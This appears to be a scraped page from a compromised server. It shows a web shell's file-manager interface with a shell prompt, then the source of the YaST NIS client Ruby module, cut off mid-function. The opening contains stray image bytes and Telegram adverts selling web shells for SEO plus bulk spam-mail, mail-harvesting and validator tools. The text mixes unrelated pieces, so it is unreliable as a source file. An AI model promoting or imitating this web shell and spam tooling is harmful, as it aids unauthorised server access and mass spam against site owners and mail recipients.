xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ------------------------------------------------------------------------------
# Copyright (c) 2006-2012 Novell, Inc. All Rights Reserved.
#
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of version 2 of the GNU General Public License as published by the
# Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail, you may find
# current contact information at www.novell.com.
# ------------------------------------------------------------------------------

# File:
#   modules/Nis.ycp
#
# Module:
#   Configuration of NIS client
#
# Summary:
#   NIS client configuration data, I/O functions.
#
# Authors:
#   Jan Holesovsky <kendy@suse.cz>
#   Dan Vesely <dan@suse.cz>
#   Martin Vidner <mvidner@suse.cz>
#
# $Id$
#
require "yast"

module Yast
  class NisClass < Module
    def main
      textdomain "nis"

      Yast.import "Address"
      Yast.import "Autologin"
      Yast.import "IP"
      Yast.import "Message"
      Yast.import "Nsswitch"
      Yast.import "Pam"
      Yast.import "Package"
      Yast.import "Progress"
      Yast.import "Report"
      Yast.import "Service"
      Yast.import "Summary"
      Yast.import "SuSEFirewall"
      Yast.import "Wizard"

      # default value of settings modified
      @modified = false
      # Required packages for this module to operate
      #
      @required_packages = ["ypbind"]

      # Should ypbind be started at boot?
      # If not, other settings are not touched.
      @start = false

      # IP addresses of NIS servers.
      @servers = []

      # Broadcast for the default domain?
      # (New in ypbind-1.12)
      @default_broadcast = false

      # Servers for a multiple-domain configuration.
      # Keys are domains, values are lists of servers (strings).
      # The domains must be the same as for multidomain_broadcast
      # @see #multidomain_broadcast
      @multidomain_servers = {}

      # Servers for a multiple-domain configuration.
      # Whether a broadcast will be done if the servers don't respond.
      # Keys are domains, values are booleans.
      # The domains must be the same as for multidomain_servers
      # @see #multidomain_servers
      # @see #global_broadcast
      @multidomain_broadcast = {}

      # If this option is set, ypbind will ignore /etc/yp.conf and use
      # a broadcast call to find a NIS server in the local subnet. You
      # should avoid to use this, it is a big security risk.
      # @see #multidomain_broadcast
      # @see #default_broadcast
      @global_broadcast = false

      @slp_domain = {}

      # netconfig policy
      @policy = "auto"

      # which service mapper is used (rpcbind/portmap)
      @rpc_mapper = "rpcbind"

      @domain = ""
      @old_domain = nil
      @domain_changed = false

      @static_keylist = []

      # DHCP cooperation

      # #35654: if the server is running and sysconfig wants NIS data,
      # it's ok to FitIntoSingle
      @dhcpcd_running = false

      # If dhcp_wanted changes, we need to restart the DHCP client
      @dhcp_restart = false

      # The following four are from sysconfig/ypbind; the comments are
      # taken from there. The dialog help texts have "user friendlier"
      # descriptions.

      # If this option is set, ypbind will only bind to the loopback
      # interface and remote hosts cannot query it.
      @local_only = false


      # You should set this to "yes" if you have a NIS server in your
      # network, which binds only to high ports over 1024. Since this
      # is a security risk, you should consider to replace the NIS
      # server with another implementation.
      @broken_server = false

      # Extra options for ypbind. Here you can add options like
      # "-ypset", "-ypsetme", "-p port" or "-no-ping".
      @options = ""

      # If no, automounter will not be affected.
      @_autofs_allowed = true

      # Start automounter and import the settings from NIS. (Bug 6092)
      @_start_autofs = false

      # Output of "rcypbind start", if there was an error.
      # Read only.
      # This is currently used only in nis-server for its more advanced
      # error reporting. (Bug 14706)
      @YpbindErrors = ""

      # If the hostname resolution is done over NIS,
      # names cannot be used to specify servers.
      @hosts_by_nis = false

      # Using NIS and LDAP simultaneously is not supported (#36981).
      @users_by_ldap = false

      # ----------------------------------------------------------------

      # Has the configuration been changed?
      # Can be used as an argument to Popup::ReallyAbort
      @touched = false

      # ----------------------------------------------------------------

      # Read only, set by ProbePackages.
      # Use as an argument to DoInstallAndRemove
      @install_packages = []
    end

    # Function sets internal variable, which indicates, that any
    # settings were modified, to "true"
    def SetModified
      @modified = true

      nil
    end

    # Functions which returns if the settings were modified
    # @return [Boolean]  settings were modified
    def GetModified
      @modified
    end

    # @return Access the servers as a string
    def GetServers
      Builtins.mergestring(@servers, " ")
    end

    # Set the servers from a string
    # @param [String] servers_s a whitespace separated list
    def SetServers(servers_s)
      @servers = Builtins.filter(Builtins.splitstring(servers_s, " \t")) do |s|
        s != ""
      end

      nil
    end

    # Read Netconfig configuration
    def getNetconfigValues
      Builtins.y2milestone("getNetconfigValues called")

      # reset the values
      @multidomain_servers = {}
      @multidomain_broadcast = {}
      @slp_domain = {}
      @servers = []

      @policy = Convert.to_string(
        SCR.Read(path(".sysconfig.network.config.NETCONFIG_NIS_POLICY"))
      )
      Builtins.y2milestone("policy : %1", @policy)
      @policy = "" if @policy == nil

      staticVals = {}
      keylist = SCR.Dir(path(".sysconfig.network.config"))

      Builtins.y2milestone("KEYLIST: %1", keylist)

      keylist = [] if keylist == nil

      Builtins.foreach(keylist) do |key|
        if !Builtins.issubstring(key, "NETCONFIG_NIS_STATIC_DOMAIN") &&
            !Builtins.issubstring(key, "NETCONFIG_NIS_STATIC_SERVERS")
          next
        end
        value = Convert.to_string(
          SCR.Read(Builtins.add(path(".sysconfig.network.config"), key))
        )
        Builtins.y2milestone("Found %1 = %2", key, value)
        num = ""
        if key == "NETCONFIG_NIS_STATIC_DOMAIN"
          Ops.set(
            staticVals,
            "0",
            Builtins.add(Ops.get(staticVals, "0", {}), "DOMAIN", value)
          )
        elsif key == "NETCONFIG_NIS_STATIC_SERVERS"
          Ops.set(
            staticVals,
            "0",
            Builtins.add(Ops.get(staticVals, "0", {}), "SERVERS", value)
          )
        else
          @static_keylist = Builtins.add(@static_keylist, key)
          num = Builtins.regexpsub(
            key,
            "^NETCONFIG_NIS_STATIC_(DOMAIN|SERVERS)_(.*)",
            "\\2"
          )
          Builtins.y2milestone("try to get the number: %1", num)
          if Builtins.issubstring(key, "NETCONFIG_NIS_STATIC_DOMAIN")
            Ops.set(
              staticVals,
              num,
              Builtins.add(Ops.get(staticVals, num, {}), "DOMAIN", value)
            )
          elsif Builtins.issubstring(key, "NETCONFIG_NIS_STATIC_SERVERS")
            Ops.set(
              staticVals,
              num,
              Builtins.add(Ops.get(staticVals, num, {}), "SERVERS", value)
            )
          end
        end
      end

      Builtins.y2milestone("STATIC VALS: %1", staticVals)

      Builtins.foreach(staticVals) do |key, value|
        if Ops.get(value, "DOMAIN") == ""
          if Ops.get(value, "SERVERS", "") != ""
            sr = Ops.add(
              Ops.add(GetServers(), " "),
              Ops.get(value, "SERVERS", "")
            )
            SetServers(sr)
          end
        elsif Ops.get(value, "DOMAIN") == "broadcast"
          @global_broadcast = true
        elsif Ops.get(value, "DOMAIN", "") != ""
          if Ops.get(value, "SERVERS") == "broadcast"
            @default_broadcast = true if key == "0"
            Ops.set(@multidomain_broadcast, Ops.get(value, "DOMAIN", ""), true)
          elsif Ops.get(value, "SERVERS") == "slp"
            Ops.set(@slp_domain, Ops.get(value, "DOMAIN", ""), true)
          elsif Ops.get(value, "SERVERS", "") != ""
            Ops.set(
              @multidomain_servers,
              Ops.get(value, "DOMAIN", ""),
              Builtins.splitstring(Ops.get(value, "SERVERS", ""), " ")
            )
          end
        end
      end

      Builtins.foreach(@multidomain_servers) do |domain, value|
        if !Builtins.haskey(@multidomain_broadcast, domain)
          Ops.set(@multidomain_broadcast, domain, false)
        end
      end

      Builtins.foreach(@multidomain_broadcast) do |domain, value|
        if !Builtins.haskey(@multidomain_servers, domain)
          Ops.set(@multidomain_servers, domain, [])
        end
      end

      Builtins.foreach(
        Convert.convert(@slp_domain, :from => "map", :to => "map <string, any>")
      ) do |domain, value|
        if !Builtins.haskey(@multidomain_servers, domain)
          Ops.set(@multidomain_servers, domain, [])
        end
      end

      Builtins.y2milestone("Servers: %1", @servers)
      Builtins.y2milestone("multidomain_servers: %1", @multidomain_servers)
      Builtins.y2milestone("multidomain_broadcast: %1", @multidomain_broadcast)
      Builtins.y2milestone("slp_domain: %1", @slp_domain)
      Builtins.y2milestone("default_broadcast: %1", @default_broadcast)

      nil
    end

    # Write the netconfig configuration
    def setNetconfigValues
      SCR.Write(path(".sysconfig.network.config.NETCONFIG_NIS_POLICY"), @policy)

      Builtins.foreach(@multidomain_servers) do |domain, value|
        if !Builtins.haskey(@multidomain_broadcast, domain)
          Ops.set(@multidomain_broadcast, domain, false)
        end
      end

      Builtins.foreach(@multidomain_broadcast) do |domain, value|
        if !Builtins.haskey(@multidomain_servers, domain)
          Ops.set(@multidomain_servers, domain, [])
        end
      end

      Builtins.foreach(
        Convert.convert(@slp_domain, :from => "map", :to => "map <string, any>")
      ) do |domain, value|
        if !Builtins.haskey(@multidomain_servers, domain)
          Ops.set(@multidomain_servers, domain, [])
        end
      end

      Builtins.foreach(@static_keylist) do |key|
        Builtins.y2milestone("Remove : %1", key)
        SCR.Write(Builtins.add(path(".sysconfig.network.config"), key), nil)
      end

      # remove the content of this
      SCR.Write(
        path(".sysconfig.network.config.NETCONFIG_NIS_STATIC_DOMAIN"),
        ""
      )
      SCR.Write(
        path(".sysconfig.network.config.NETCONFIG_NIS_STATIC_SERVERS"),
        ""
      )


      Builtins.y2milestone("Servers: %1", @servers)
      Builtins.y2milestone("multidomain_servers: %1", @multidomain_servers)
      Builtins.y2milestone("multidomain_broadcast: %1", @multidomain_broadcast)
      Builtins.y2milestone("slp_domain: %1", @slp_domain)
      Builtins.y2milestone("default_broadcast: %1", @default_broadcast)

      cnt = 0
      if Ops.greater_than(Builtins.size(@servers), 0)
        SCR.Write(
          path(".sysconfig.network.config.NETCONFIG_NIS_STATIC_DOMAIN"),
          ""
        )
        SCR.Write(
          path(".sysconfig.network.config.NETCONFIG_NIS_STATIC_SERVERS"),
          Builtins.mergestring(@servers, " ")
        )
        cnt = Ops.add(cnt, 1)
      end

      Builtins.foreach(
        Convert.convert(
          @multidomain_servers,
          :from => "map <string, list>",
          :to   => "map <string, list <string>>"
        )
      ) do |dom, srvs|
        next if dom == ""
        if Ops.greater_than(Builtins.size(srvs), 0)
          if cnt == 0
            SCR.Write(
              path(".sysconfig.network.config.NETCONFIG_NIS_STATIC_DOMAIN"),
              dom
            )
            SCR.Write(
              path(".sysconfig.network.config.NETCONFIG_NIS_STATIC_SERVERS"),
              Builtins.mergestring(srvs, " ")
            )
          else
            SCR.Write(
              Builtins.add(
                path(".sysconfig.network.config"),
                Ops.add("NETCONFIG_NIS_STATIC_DOMAIN_", cnt)
              ),
              dom
            )
            SCR.Write(
              Builtins.add(
                path(".sysconfig.network.config"),
                Ops.add("NETCONFIG_NIS_STATIC_SERVERS_", cnt)
              ),
              Builtins.mergestring(srvs, " ")
            )
          end
          cnt = Ops.add(cnt, 1)
        end
        if Ops.get(@multidomain_broadcast, dom, false) == true
          if cnt == 0
            SCR.Write(
              path(".sysconfig.network.config.NETCONFIG_NIS_STATIC_DOMAIN"),
              dom
            )
            SCR.Write(
              path(".sysconfig.network.config.NETCONFIG_NIS_STATIC_SERVERS"),
              "broadcast"
            )
          else
            SCR.Write(
              Builtins.add(
                path(".sysconfig.network.config"),
                Ops.add("NETCONFIG_NIS_STATIC_DOMAIN_", cnt)
              ),
              dom
            )
            SCR.Write(
              Builtins.add(
                path(".sysconfig.network.config"),
                Ops.add("NETCONFIG_NIS_STATIC_SERVERS_", cnt)
              ),
              "broadcast"
            )
          end
          cnt = Ops.add(cnt, 1)
        end
        if Ops.get_boolean(@slp_domain, dom, false) == true
          if cnt == 0
            SCR.Write(
              path(".sysconfig.network.config.NETCONFIG_NIS_STATIC_DOMAIN"),
              dom
            )
            SCR.Write(
              path(".sysconfig.network.config.NETCONFIG_NIS_STATIC_SERVERS"),
              "slp"
            )
          else
            SCR.Write(
              Builtins.add(
                path(".sysconfig.network.config"),
                Ops.add("NETCONFIG_NIS_STATIC_DOMAIN_", cnt)
              ),
              dom
            )
            SCR.Write(
              Builtins.add(
                path(".sysconfig.network.config"),
                Ops.add("NETCONFIG_NIS_STATIC_SERVERS_", cnt)
              ),
              "slp"
            )
          end
          cnt = Ops.add(cnt, 1)
        end
      end

      if @default_broadcast == true
        if cnt == 0
          SCR.Write(
            path(".sysconfig.network.config.NETCONFIG_NIS_STATIC_DOMAIN"),
            @domain
          )
          SCR.Write(
            path(".sysconfig.network.config.NETCONFIG_NIS_STATIC_SERVERS"),
            "broadcast"
          )
        else
          SCR.Write(
            Builtins.add(
              path(".sysconfig.network.config"),
              Ops.add("NETCONFIG_NIS_STATIC_DOMAIN_", cnt)
            ),
            @domain
          )
          SCR.Write(
            Builtins.add(
              path(".sysconfig.network.config"),
              Ops.add("NETCONFIG_NIS_STATIC_SERVERS_", cnt)
            ),
            "broadcast"
          )
        end
        cnt = Ops.add(cnt, 1)
      elsif @global_broadcast == true
        if cnt == 0
          SCR.Write(
            path(".sysconfig.network.config.NETCONFIG_NIS_STATIC_DOMAIN"),
            "broadcast"
          )
          SCR.Write(
            path(".sysconfig.network.config.NETCONFIG_NIS_STATIC_SERVERS"),
            ""
          )
        else
          SCR.Write(
            Builtins.add(
              path(".sysconfig.network.config"),
              Ops.add("NETCONFIG_NIS_STATIC_DOMAIN_", cnt)
            ),
            "broadcast"
          )
          SCR.Write(
            Builtins.add(
              path(".sysconfig.network.config"),
              Ops.add("NETCONFIG_NIS_STATIC_SERVERS_", cnt)
            ),
            ""
          )
        end
        cnt = Ops.add(cnt, 1)
      end

      if !SCR.Write(path(".sysconfig.network.config"), nil)
        Report.Error(Message.ErrorWritingFile("/etc/sysconfig/network/config"))
        return false
      end
      true
    end

    # If the domain has changed from a nonempty one, it may only be
    # changed at boot time. Use this to warn the user.
    # @return whether changed by SetDomain
    def DomainChanged
      @domain_changed
    end

    # @return Get the NIS domain.
    def GetDomain
      @domain
    end

    # Set the NIS domain.
    # @param [String] new_domain a new domain
    def SetDomain(new_domain)
      @domain = new_domain
      @domain_changed = true if @domain != @old_domain && @old_domain != ""

      nil
    end

    # ----------------------------------------------------------------
    # used also for nis-server

    # Check syntax of a NIS domain name
    # @param [String] domain	a domain name
    # @return		true if correct
    def check_nisdomainname(domain)
      # TODO
      # disallow whitespace and special characters...
      domain != "" && domain != "(none)" &&
        Ops.less_or_equal(Builtins.size(domain), 64)
    end

    # @return describe a valid NIS domain name
    def valid_nisdomainname
      # Translators: do not translate (none)!
      _(
        "A NIS domain name must not be empty,\n" +
          "it must not be \"(none)\",\n" +
          "and it must be at most 64 characters long.\n"
      )
    end

    # Used in the UI when NIS is turned on.
    def UsersByLdap
      @users_by_ldap
    end

    # Describe a valid address - ip4 or name, names only if
    # nsswitch.conf does not have hosts: nis
    # @return a description
    def valid_address_nis
      Builtins.y2debug("hosts_by_nis %1", @hosts_by_nis)
      if @hosts_by_nis
        # message popup
        return Ops.add(
          _(
            "Only an IP address can be used\n" +
              "because host names are resolved using NIS.\n" +
              "\n"
          ),
          IP.Valid4
        )
      else
        return Address.Valid4
      end
    end

    # Check syntax of a network address (ip4 or name), names only if
    # nsswitch.conf does not have hosts: nis
    # @param [String] a an address
    # @return true if correct
    def check_address_nis(a)
      Builtins.y2debug("hosts_by_nis %1", @hosts_by_nis)
      if @hosts_by_nis
        return IP.Check4(a)
      else
        return Address.Check(a)
      end
    end

    # A convenient shortcut for setting touched.
    # @param [Boolean] really	if true, set Nis::touched
    # @example Nis::Touch (Nis::var != ui_var);
    def Touch(really)
      @touched = @touched || really

      nil
    end

    # Detect which packages have to be installed
    # and return a descriptive string for a plain text pop-up.
    # @return "" or "Foo will be installed.\nBar will be installed.\n"
    def ProbePackages
      message = ""
      @install_packages = []

      if @_autofs_allowed && @_start_autofs
        if !Package.Installed("autofs")
          @install_packages = Builtins.add(@install_packages, "autofs")
          # Translators: popup message part, ends with a newline
          message = Ops.add(
            message,
            _("The automounter package will be installed.\n")
          )
        end
        if !Package.Installed("nfs-client")
          @install_packages = Builtins.add(@install_packages, "nfs-client")
        end
      end

      message
    end

    # ----------------------------------------------------------------

    # Set module data
    # @return [void]
    def Set(settings)
      settings = deep_copy(settings)
      @start = Ops.get_boolean(settings, "start_nis", false)

      @servers = Ops.get_list(settings, "nis_servers", [])
      @default_broadcast = Ops.get_boolean(settings, "nis_broadcast", false)
      @domain = Ops.get_string(settings, "nis_domain", "")
      @old_domain = @domain

      # we don't know what the state will be before Write, so restart it
      @dhcp_restart = true

      other_domains = Ops.get_list(settings, "nis_other_domains", [])
      Builtins.foreach(other_domains) do |other_domain|
        domain = Ops.get_string(other_domain, "nis_domain", "")
        servers = Ops.get_list(other_domain, "nis_servers", [])
        b = Ops.get_boolean(other_domain, "nis_broadcast", false)
        Ops.set(@multidomain_servers, domain, servers)
        Ops.set(@multidomain_broadcast, domain, b)
      end

      @local_only = Ops.get_boolean(settings, "nis_local_only", false)
      @broken_server = Ops.get_boolean(settings, "nis_broken_server", false)
      @options = Ops.get_string(settings, "nis_options", "")

      # autofs is not touched in Write if the map does not want it
      @_autofs_allowed = Builtins.haskey(settings, "start_autofs")
      @_start_autofs = Ops.get_boolean(settings, "start_autofs", false)
      if @_start_autofs
        @required_packages = Convert.convert(
          Builtins.union(@required_packages, ["autofs", "nfs-client"]),
          :from => "list",
          :to   => "list <string>"
        )
      end

      @policy = Ops.get_string(settings, "netconfig_policy", @policy)
      @slp_domain = Ops.get_map(settings, "slp_domain", @slp_domain)

      @touched = true

      nil
    end

    # TODO update the map keys
    # better still: link to a current interface description
    # Get all the NIS configuration from a map.
    # When called by nis_auto (preparing autoinstallation data)
    # the map may be empty.
    # @param [Hash] settings	$["start": "domain": "servers":[...] ]
    # @return	success
    def Import(settings)
      settings = deep_copy(settings)
      if Builtins.size(settings) == 0
        #Provide defaults for autoinstallation editing:
        #Leave empty.
        @old_domain = @domain
        # enable _autofs_allowed
        # Injecting it into the defaults for the GUI
        # but leaving the check in Set makes it possible
        # to delete the element manually from the xml profile
        # and leave autofs untouched
        Ops.set(settings, "start_autofs", false)
        Set(settings)
        return true
      end

      missing = false
      # "nis_domain" can be omitted if nis_by_dhcp is true
      Builtins.foreach(["start_nis"]) do |k|
        if !Builtins.haskey(settings, k)
          Builtins.y2error("Missing at Import: '%1'.", k)
          missing = true
        end
      end
      return false if missing

      Set(settings)
      true
    end

    # TODO update the map keys
    # better still: link to a current interface description
    # Dump the NIS settings to a map, for autoinstallation use.
    # @return $["start":, "servers":[...], "domain":]
    def Export
      other_domains = Builtins.maplist(@multidomain_servers) do |d, s|
        {
          "nis_domain"    => d,
          "nis_servers"   => s,
          "nis_broadcast" => Ops.get(@multidomain_broadcast, d, false)
        }
      end

      if @global_broadcast
        Builtins.y2error("Attempt to export Nis::global_broadcast")
      end

      {
        "start_nis"         => @start,
        "nis_servers"       => @servers,
        "nis_domain"        => @domain,
        "nis_broadcast"     => @default_broadcast,
        "nis_other_domains" => other_domains,
        "nis_local_only"    => @local_only,
        "nis_broken_server" => @broken_server,
        "nis_options"       => @options,
        "start_autofs"      => @_start_autofs,
        "slp_domain"        => @slp_domain,
        "netconfig_policy"  => @policy
      }
    end

    # copied from Mail.ycp
    # replace with a custom list
    # Summarizes a list of data
    # @param [String] title passed to Summary::AddHeader
    # @param [Object] value a list (of scalars, lists or maps)
    # @return Summary-formatted description
    def ListItem(title, value)
      value = deep_copy(value)
      summary = ""
      summary = Summary.AddHeader(summary, title)
      #enhancement BEGIN
      value = Builtins.maplist(Convert.to_map(value)) { |k, v| k } if Ops.is_map?(
        value
      )
      #enhancement END
      if Ops.is_list?(value) &&
          Ops.greater_than(Builtins.size(Convert.to_list(value)), 0)
        summary = Summary.OpenList(summary)
        Builtins.foreach(Convert.to_list(value)) do |d|
          entry = ""
          if Ops.is_map?(d) || Ops.is_list?(d)
            entry = Builtins.sformat(
              "%1 Entries configured",
              Ops.is_map?(d) ?
                Builtins.size(Convert.to_map(value)) :
                Builtins.size(Convert.to_list(value))
            )
          else
            entry = Convert.to_string(d)
          end
          summary = Summary.AddListItem(summary, entry)
        end
        summary = Summary.CloseList(summary)
      else
        summary = Summary.AddLine(summary, Summary.NotConfigured)
      end
      summary
    end

    # @return Html formatted configuration summary
    def Summary
      # TODO multidomain_servers, multidomain_broadcast
      # OK, a dumb mapping is possible, but wouldn't it be
      # too complicated to write by hand?
      summary = ""
      nc = Summary.NotConfigured

      # summary: Domain or servers are retrieved by the
      # Dynamic Host Configuration Protocol.
      # Will be placed after NIS Domain/NIS Servers instead of the
      # actual settings.
      dhcp = _("by DHCP")

      # summary header
      summary = Summary.AddHeader(summary, _("NIS Client enabled"))
      # summary item: an option is turned on
      summary = Summary.AddLine(summary, @start ? _("Yes") : nc)
      # summary header
      summary = Summary.AddHeader(summary, _("NIS Domain"))
      summary = Summary.AddLine(summary, @domain != "" ? @domain : nc)
      # summary header
      summary = Summary.AddHeader(summary, _("NIS Servers"))
      summary = Summary.AddLine(
        summary,
        @servers != [] ? Builtins.mergestring(@servers, "<br>") : nc
      )
      # summary header
      summary = Summary.AddHeader(summary, _("Broadcast"))
      # summary item: an option is turned on
      summary = Summary.AddLine(summary, @default_broadcast ? _("Yes") : nc)
      # TODO: a full list
      summary = Ops.add(
        summary,
        ListItem(_("Other domains"), @multidomain_servers)
      )
      # summary header
      summary = Summary.AddHeader(summary, _("Answer to local host only"))
      # summary item: an option is turned on
      summary = Summary.AddLine(summary, @local_only ? _("Yes") : nc)
      # summary header
      summary = Summary.AddHeader(summary, _("Broken server"))
      # summary item: an option is turned on
      summary = Summary.AddLine(summary, @broken_server ? _("Yes") : nc)
      # summary header
      summary = Summary.AddHeader(summary, _("ypbind options"))
      summary = Summary.AddLine(summary, @options != "" ? @options : nc)
      # summary header
      summary = Summary.AddHeader(summary, _("Automounter enabled"))
      # summary item: an option is turned on
      summary = Summary.AddLine(summary, @_start_autofs ? _("Yes") : nc)

      summary
    end

    # Makes an item for the short summary. I guess the users module
    # wants to avoid paragraph breaks.
    # @param [String] title
    # @param [String] value
    # @return [b]title[/b]: value[br]
    def BrItem(title, value)
      Builtins.sformat("<b>%1</b>: %2<br>", title, value)
    end

    # Create a short textual summary with configuration abstract
    # It is called by "authentication/user sources" dialog in yast2-users
    # @return summary of the current configuration
    def ShortSummary
      summary = ""
      nc = Summary.NotConfigured
      summary = Ops.add(
        Ops.add(
          # summary item
          BrItem(_("Servers"), @servers != [] ? GetServers() : nc),
          # summary item
          BrItem(_("Domain"), @domain != "" ? @domain : nc)
        ),
        # summary item (yes/no follows)
        BrItem(_("Client Enabled"), @start ? _("Yes") : _("No"))
      )

      summary
    end

    # Reads NIS settings from the SCR
    # @return success
    def Read
      @start = Service.Enabled("ypbind")

      getNetconfigValues

      @servers = [] if @servers == nil
      @default_broadcast = false if @default_broadcast == nil
      @multidomain_servers = {} if @multidomain_servers == nil
      @multidomain_broadcast = {} if @multidomain_broadcast == nil
      @slp_domain = {} if @slp_domain == nil

      out = SCR.Execute(path(".target.bash_output"), "/usr/bin/ypdomainname")
      # 0 OK, 1 mean no domain name set, so no nis, do not report it
      if out["exit"] > 1
        Report.Error(_("Getting domain name via ypdomainname failed with '%s'") % out["stderr"])
      end
      @domain = out["stdout"].chomp
      @old_domain = @domain

      @dhcpcd_running = SCR.Execute(
        path(".target.bash"),
        "ls /var/run/dhcpcd-*.pid"
      ) == 0

      @local_only = SCR.Read(path(".sysconfig.ypbind.YPBIND_LOCAL_ONLY")) == "yes"
      @global_broadcast = SCR.Read(path(".sysconfig.ypbind.YPBIND_BROADCAST")) == "yes"
      @broken_server = SCR.Read(path(".sysconfig.ypbind.YPBIND_BROKEN_SERVER")) == "yes"
      @options = Convert.to_string(
        SCR.Read(path(".sysconfig.ypbind.YPBIND_OPTIONS"))
      )

      # install on demand
      @_start_autofs = @_autofs_allowed && Service.Enabled("autofs")

      @hosts_by_nis = Builtins.contains(Nsswitch.ReadDb("hosts"), "nis")

      nss_passwd = Nsswitch.ReadDb("passwd")
      @users_by_ldap = Builtins.contains(nss_passwd, "ldap") ||
        Builtins.contains(nss_passwd, "compat") &&
          Builtins.contains(Nsswitch.ReadDb("passwd_compat"), "ldap")

      Autologin.Read

      progress_orig = Progress.set(false)
      SuSEFirewall.Read
      Progress.set(progress_orig)

      true
    end

    # Make up data for screnshots.
    # To be used instead of {#Read} .
    def Fake
      Builtins.y2milestone("Faking data for screenshots")
      @start = true
      @servers = ["10.42.0.1"]
      @default_broadcast = false
      @multidomain_servers = {
        "printer.example.com" => [],
        "test.example.com"    => ["10.42.1.1", "10.42.1.2"]
      }
      @multidomain_broadcast = {
        "printer.example.com" => true,
        "test.example.com"    => false
      }
      @domain = "example.com"
      @old_domain = @domain
      @local_only = false
      @global_broadcast = false
      @broken_server = false
      @options = ""
      @_autofs_allowed = true
      @_start_autofs = true
      @hosts_by_nis = false

      nil
    end

    # @param [String] file a pathname
    # @return is there a nis inclusion?
    def HasPlus(file)
      # does the file have a plus?
      Builtins.y2milestone("file %1 has pluses", file)
      0 ==
        SCR.Execute(
          path(".target.bash"),
          Ops.add("/usr/bin/grep -q '^[+-]' ", file)
        )
    end

    # If a file does not contain a NIS entry, add it.
    # @param [String] file	pathname
    # @param [String] what	a "+" line without a '\n'
    # @return success?
    def WritePlusesTo(file, what)
      ok = true
      if !HasPlus(file)
        # backup the file:
        SCR.Execute(
          path(".target.bash"),
          Builtins.sformat("/bin/cp %1 %1.YaST2save", file)
        )
        if SCR.Execute(
            path(".target.bash"),
            Builtins.sformat("/bin/echo '%1' >> %2", what, file)
          ) != 0
          ok = false
        end
      # TODO only for passwd?
      # replace the 'nologin' occurence (#40571)
      elsif SCR.Execute(
          path(".target.bash"),
          Builtins.sformat("/bin/grep -q '^%1/sbin/nologin' %2", what, file)
        ) == 0
        ok = SCR.Execute(
          path(".target.bash"),
          Builtins.sformat(
            "/usr/bin/sed -i.YaST2save -e 's@%1/sbin/nologin@%1@' %2",
            what,
            file
          )
        ) == 0
      end
      Report.Error(Message.ErrorWritingFile(file)) if !ok
      ok
    end

    # Do we need compat? Is there a plus in any of the user databases?
    # @return true/false
    def HavePlus
      files = ["/etc/passwd", "/etc/shadow", "/etc/group"]
      # find a file having a plus
      nil != Builtins.find(files) { |file| HasPlus(file) }
    end

    # Add "+" lines to system files so that NIS entries get merged in.
    # @return success?
    def WritePluses
      files = ["passwd", "shadow", "group"]
      #don't forget a newline
      what_to_write = {
        "passwd" => "+::::::",
        "group"  => "+:::",
        "shadow" => "+"
      }
      Builtins.foreach(files) do |f|
        Builtins.y2milestone("Writing pluses to %1", f)
        if !WritePlusesTo(
            Builtins.sformat("/etc/%1", f),
            Ops.get_string(what_to_write, f, "")
          )
          next false
        end
      end
      true
    end

    # Configures the name service switch for the user databases
    # according to chosen settings
    # @return success?
    def WriteNssConf
      dbs = ["passwd", "group", "shadow"]
      nis_dbs = ["services", "netgroup", "aliases"]
      # Why bother with both compat and nis?
      # If there's no plus, we don't have to write passwd etc.
      # And it's supposed to be faster.
      # But then programs have to reread nsswitch :( #23203
      # so we stick with compat.
      if @start
        # we want to switch to "compat"
        Builtins.foreach(dbs) do |db|
          # what if a db is not mentioned?
          # We get [] meaning compat, so it's ok to make it explicit
          db_l = Nsswitch.ReadDb(db)
          if !Builtins.contains(db_l, "compat")
            # remove "files" and "nis", if there;
            db_l = Builtins.filter(db_l) { |s| s != "files" && s != "nis" }
            # put "compat" and the rest;
            db_l = Builtins.prepend(db_l, "compat")
            Nsswitch.WriteDb(db, db_l)
          end
          # *_compat may be set to nisplus, nuke it (#16168)
          db_c = Ops.add(db, "_compat")
          Nsswitch.WriteDb(db_c, [])
        end
        Builtins.y2milestone("Writing pluses")
        WritePluses()
        Builtins.foreach(nis_dbs) do |db|
          db_l = Nsswitch.ReadDb(db)
          if !Builtins.contains(db_l, "nis")
            if db == "netgroup"
              db_l = ["nis"]
            else
              db_l = ["files", "nis"]
            end
            Nsswitch.WriteDb(db, db_l)
          end
        end # not start
      else
        Builtins.y2milestone("not writing pluses")
        have_plus = HavePlus()

        Builtins.foreach(dbs) do |db|
          db_l = Nsswitch.ReadDb(db)
          # remove "nis" if there;
          db_l = Builtins.filter(db_l) { |s| s != "nis" }
          # if nothing left, put "files";
          # NOT. just remove it, meaning compat. #35299
          Nsswitch.WriteDb(db, db_l)
        end if !have_plus
        Builtins.foreach(nis_dbs) do |db|
          db_l = Nsswitch.ReadDb(db)
          db_l = Builtins.filter(db_l) { |s| s != "nis" }
          db_l = ["files"] if db_l == []
          Nsswitch.WriteDb(db, db_l)
        end
      end

      if !SCR.Write(path(".etc.nsswitch_conf"), nil)
        Report.Error(Message.ErrorWritingFile("/etc/nsswitch.conf"))
        return false
      end
      true
    end

    # Only write new configuration w/o starting any scripts
    # @return true on success
    def WriteOnly
      if @start
        if Package.Installed("rpcbind")
          @rpc_mapper = "rpcbind"
        else
          @rpc_mapper = "portmap"
        end

        Service.Enable(@rpc_mapper)
